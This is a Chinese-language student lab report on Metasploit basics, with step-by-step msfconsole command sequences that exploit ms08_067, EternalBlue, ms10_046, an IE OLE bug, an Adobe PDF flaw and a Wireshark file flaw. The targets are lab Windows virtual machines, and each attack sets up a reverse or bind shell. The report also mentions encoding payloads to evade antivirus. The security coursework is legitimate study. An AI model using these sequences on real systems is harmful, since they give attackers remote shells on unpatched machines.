• 2018-2019-2 网络对抗技术 20165304 Exp5 MSF基础应用


    2018-2019-2 网络对抗技术 20165304Exp5 MSF基础应用

    原理与实践说明

    1.实践原理
    1).MSF攻击方法

    主动攻击:扫描主机漏洞,进行攻击
    攻击浏览器
    攻击其他客户端
    2).MSF的六个模块

    查看六种模块源码目录/usr/share/metasploit-framework/modules

    渗透攻击模块Exploit Modules:攻击漏洞,把shellcode"背"过去

    辅助模块Auxiliary Modules:在进行渗透攻击之前得到目标系统丰富的情报信息,它是攻击的前提

    攻击载荷Payload Modules:载荷,一段指令(shellcode),目标系统在被渗透攻击之后去执行的代码

    空字段模块Nop Modules

    编码模块Encoders

    后渗透攻击模块Post:攻击成功之后,动态传输代码使其在被控机执行

    3).MSF的三种用户操作界面
    msfconsole

    • 查看模块的具体信息info [exploits|auxiliary|post|payloads|encoders|nops]
    • 查看设置信息show [options]
    • 查看攻击目标类型show [target]
    • 查找命令search
    • 查找2018年产生的在windows平台下的漏洞search ms18(或CNE:2018) type:exploit platform:windows
      armitage
    • 启动服务器service postgresql start
    • 启动armitagearmitage
      webgui
      4).MSF常用漏洞利用命令

    search name:用指定关键字搜索可以利用的漏洞模块
    use exploit name:使用漏洞
    show options:显示配置选项
    set option name option:设置选项
    show payloads:回链攻击载荷
    show targets: 显示目标(os版本)
    set TARGET target number:设置目标版本
    exploit:开始漏洞攻击
    sessions -l:列出会话
    sessions -i id:选择会话
    sessions -k id:结束会话
    Ctrl+z:把会话放到后台
    Ctrl+c:结束会话
    show auxiliary:显示辅助模块
    use auxiliary name :使用辅助模块
    set option name option:设置选项
    exploit:运行模块

    2.实践内容概述
    一个主动攻击实践,如ms08_067; (1分)

    一个针对浏览器的攻击,如ms11_050;(1分)

    一个针对客户端的攻击,如Adobe;(1分)

    成功应用任何一个辅助模块。(0.5分)

    3.基础问题回答
    用自己的话解释什么是exploit,payload,encode.
    exploit是载具,连接漏洞,将payload传送到靶机中。
    payload是载荷,是exploit中shellcode中的主要功能代码,exploit把它送到靶机中后,是真正负责进行攻击代码。
    encode是编码,用来改变payload,避免payload中出现漏洞无法处理的字符;其次是为了实现免杀,不让杀毒软件很轻易的就发现payload是攻击代码。

    攻击实例

    主动攻击的实践

    ms08-067
    ms08_067_netapi是一款Metasploit中有点老的溢出攻击载荷,攻击可以获得一个相对高的权限。

    靶机:Microsoft Windows 2000(10.0.0.112)

    payload :generic/shell_reverse_tcp

    测试靶机与攻击机之间能否ping通

    攻击者试探靶机是否存在此漏洞nmap -sS -A --script=smb-vuln-ms08-067 -PO 10.0.0.112

    查看到靶机的版本号

    查看到靶机存在此漏洞

    msfconsole打开控制台search ms08-067查看漏洞位置

    use exploit/windows/smb/ms08_067_netapi选择该漏洞

    set RHOSTS 10.0.0.112设置靶机IP

    利用辅助模块查看端口是否开启(默认端口为445)
    search portscan # 搜索端口 use auxiliary/scanner/portscan/tcp # 使用漏洞 show options #显示设置 set RHOSTS 10.0.0.112 # 设置监听者地址 exploit # 攻击

    show targets查看targets,修改靶机的类型set target 1

    show payloads查看可用payload

    选择set generic/shell_bind_tcp

    set LHOST 10.0.0.128设置监听者ip

    set LPORT 5318设置监听者端口号

    show options查看设置信息
    exploit进行攻击,攻击成功!

    ms17_010_eternalblue
    靶机:Microsoft Windows 7

    payload : windows/x64/shell/reverse_tcp_uuid

    实验步骤

    nmap --script=vuln 10.1.1.137 //查看靶机开放端口、是否存在ms17_010
    search ms17_010 //搜索漏洞
    use exploit/windows/smb/ms17_010_eternalblue //使用漏洞
    show payloads //显示可用攻击载荷
    set payload windows/x64/shell/reverse_tcp_uuid //选择攻击载荷
    set LHOST 10.1.1.128 //设置监听地址
    set LPORT 5304 //设置端口号
    set RHOSTS 10.1.1.137 //设置靶机地址
    show options //查看配置信息
    exploit //开始攻击

    攻击浏览器的实践

    ms10_046
    靶机:Windows 7 + IE8

    exploit : exploit/windows/smb/ms10_046_shortcut_icon_dllloader

    payload : windows/meterpreter/reverse_https

    实验步骤

    search ms10-046 //看看其他的exploit
    use exploit/windows/smb/ms10_046_shortcut_icon_dllloader //使用漏洞
    show payloads //显示可用攻击载荷
    set windows/meterpreter/reverse_https //选择攻击载荷
    show options //查看配置信息
    set LHOST 10..1.128 //设置监听地址
    set SRVHOST 10.1.1.128 //设置本地收听地址
    set LPORT //设置端口号
    exploit #开始攻击

    将/root/.msf4/local/msf.lnk共享到win7虚拟机中,然后双击,即可在kail监听到,输入sessions查看当前会话,输入sessions -i 1即可选择第一个会话,然后就攻击成功.

    靶机:WindowsXP+IE 8.0

    exploit : windows/browser/ms14_064_ole_code_execution

    payload : windows/meterpreter/reverse_tcp

    实验步骤

    use exploit/windows/browser/ms14_064_ole_code_execution //选择攻击模块
    info //查看漏洞相关信息(发现可攻击winXP和win7)
    show payloads //显示可用攻击载荷
    set payload windows/meterpreter/reverse_tcp //设置tcp反向连接
    set SRVHOST 10.1.1.128 //设置攻方IP
    set AllowPowerShellPrompt 1 //因为msf中自带的漏洞利用exp调用的是powershell。 所以msf中的exp代码只对安装powershell的系统生效
    set LHOST 10.1.1.128
    set LPORT 5304
    set target 0 //设置winXP靶机
    exploit //发起攻击
    将生成的URL地址在winXP的IE中打开,发现成功建立了一个会话
    输入sessions查看会话相关信息

    输入sessions -i 1即可选择第一个会话,调用shell权限成功

    攻击客户端

    靶机:Windows XP

    payload : windows/meterpreter/bind_tcp

    实验步骤

    msfconsole //进入控制台
    search adobe //进行查找
    use windows/fileformat/adobe_cooltype_sing //使用漏洞
    info //查看漏洞具体信息(重点当然是description)
    set payload windows/meterpreter/bind_tcp //选择攻击载荷
    show options //查看详细信息
    set LPORT 5304//设置端口号
    set RHOST 10.1.1.161 //设置靶机IP地址
    exploit #攻击
    将生成的msf.pdf复制到Windows XP中

    kail中输入back退出当前模块,进入监听模块

    use exploit/multi/handler //进入监听模块
    set payload windows/meterpreter/bind_tcp //选择攻击载荷
    show options //查看详细信息
    set RHOST 10.1.1.161 //设置靶机IP地址
    set LPORT 5304 //设置端口号
    exploit //攻击

    靶机:Windows XP

    payload : windows/meterpreter/reverse_tcp

    实验步骤

    msfconsole //进入控制台
    use exploit/windows/fileformat/wireshark_packet_dect.rb //使用漏洞
    info //查看漏洞具体信息(重点当然是description)
    set payload windows/meterpreter/reverse_tcp //选择攻击载荷
    set LHOST 10.1.1.128 //攻击者地址
    set LPORT 5304 //设置端口号
    set FILENAME 5304.pcap //设置文件名
    show options //查看设置
    exploit #攻击
    将生成的5304.pcap复制到Windows XP中

    kail中输入back退出当前模块,进入监听模块

    use exploit/multi/handler //进入监听模块
    set payload windows/meterpreter/reverse_tcp //选择攻击载荷
    set LHOST 10.1.1.128 //攻击者地址
    set LPORT 5304 //设置端口号
    exploit //攻击
    在靶机中使用wireshark打开5304.pcap
    攻击成功

    离实战还缺些什么技术或步骤

    本次实验操作起来比较简单,逻辑也很清晰,绝大多数的时间花费在了配置环境上。从windowsXP Professional sp2到windows XP SP3(English),从IE 6.0到IE 7.0/8.0,Adobe Reader11到9,着实感受到了配置环境的艰辛,也体会到了metasploit攻击漏洞的专一性,对操作系统和软件版本都有细致的要求。必须要在特定环境和特定触发条件下才能成功。如果放在实践中,搜寻可以攻击的模块也是一个非常漫长的过程。同时,我们的攻击是建立在前人的基础上,很多漏洞都是经过修复,不再适用,退一步来讲,即使我们知道了系统漏洞,怎样进行有效的攻击而不被发现又是一个巨大的难题。

  • 相关阅读:
    Log4php使用指南
    【JQuery】使用JQuery 合并两个 json 对象
    【前端】JS截取字符串常用方法详细整理
    【.Net】net 反射15分钟速成
    【.Net】win10 uwp unix timestamp 时间戳 转 DateTime
    【ASP.NET Core】ASP.NET Core 依赖注入
    【ASP.NET 框架系列】您所经历的,但未必研究的那些技术
    Visual Studio 中设置npm
    【数据库】SQL分组多列统计(GROUP BY后按条件分列统计)
    【数据库】同一字段根据不同条件更新的sql语句的写法
  • 原文地址:https://www.cnblogs.com/zl1998827/p/10744778.html
Copyright © 2020-2023  润新知